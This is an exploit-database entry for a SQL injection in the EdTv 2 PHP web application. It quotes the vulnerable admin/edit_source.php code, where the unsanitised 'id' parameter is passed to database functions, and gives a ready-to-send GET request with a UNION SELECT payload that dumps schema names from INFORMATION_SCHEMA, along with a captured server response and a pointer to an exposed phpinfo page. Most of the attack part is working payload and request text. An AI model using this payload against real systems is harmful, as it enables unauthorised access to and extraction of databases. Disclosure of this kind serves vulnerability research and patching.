EdTv 2 - 'id' SQL Injection

EDB-ID:
45849

CVE:
N/A

EDB Verified: ×

Author:
IHSAN SENCAN

Type:
WEBAPPS

Exploit: / {}

Platform:
PHP

Date:
2018-11-14

Vulnerable App:

```
# Exploit Title: EdTv 2 - 'id' SQL Injection
# Dork: N/A
# Date: 2018-11-12
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://edtv.edsup.org/
# Software Link:
https://ayera.dl.sourceforge.net/project/edtv/beta/edtv2go.zip
# Version: 2
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC:
# 1)
# Improper access restrictions...
# http://localhost/[PATH]:4001/edtv/index.php/admin/edit_source&?id=[SQL]
#

# edtv//admin//edit_source.php
# ....
#02   $title="แก้ไขแหล่งข้อมูลสื่อ";
#03    $menu_def="edit_source";
#04   include("data_menu.php");
#05
#06   load_fun("media");
#07
#08   if($_POST['title']&&$_POST['url']){
#09       $ret=update_source($_GET['id'],$_POST['title'],$_POST['url']);
#10   }
#11
#12   if($ret)redirect("admin/data_manage");
#13
#14   $data=get_source($_GET['id']);
# ....

# edtv//admin//data_menu.php
# ....
#14         'edit_source' => array(
#15         'title'=>'แก้ไขแหล่งข้อมูล',
#16         'url'=>'admin/edit_source&?id='.$_GET['id'],
#17         'cond'=>$_GET['id']>0,
#18     ),
# ....


GET /[PATH]/edtv/index.php/admin/edit_source&?id=-1%20union%20select%201,
(SELECT+GROUP_CONCAT(schema_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEM
-%20- HTTP/1.1
Host: TARGET:4001
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101
Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=c826ffd1a4578bd07c258a5be3ab3482; token_id=1542049202
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Date: Mon, 12 Nov 2018 19:00:38 GMT
Server: Apache/2.2.15 (Win32) PHP/5.3.2
X-Powered-By: PHP/5.3.2
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-
check=0
Pragma: no-cache
Content-Length: 5224
```

```
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8

# POC:
# 2)
# Phpinfo()
# http://localhost/[PATH]:4001/edtv/info.php
#
```

Tags: SQL Injection (SQLi)

Advisory/Source: Link

Databases

Links

Sites

Solutions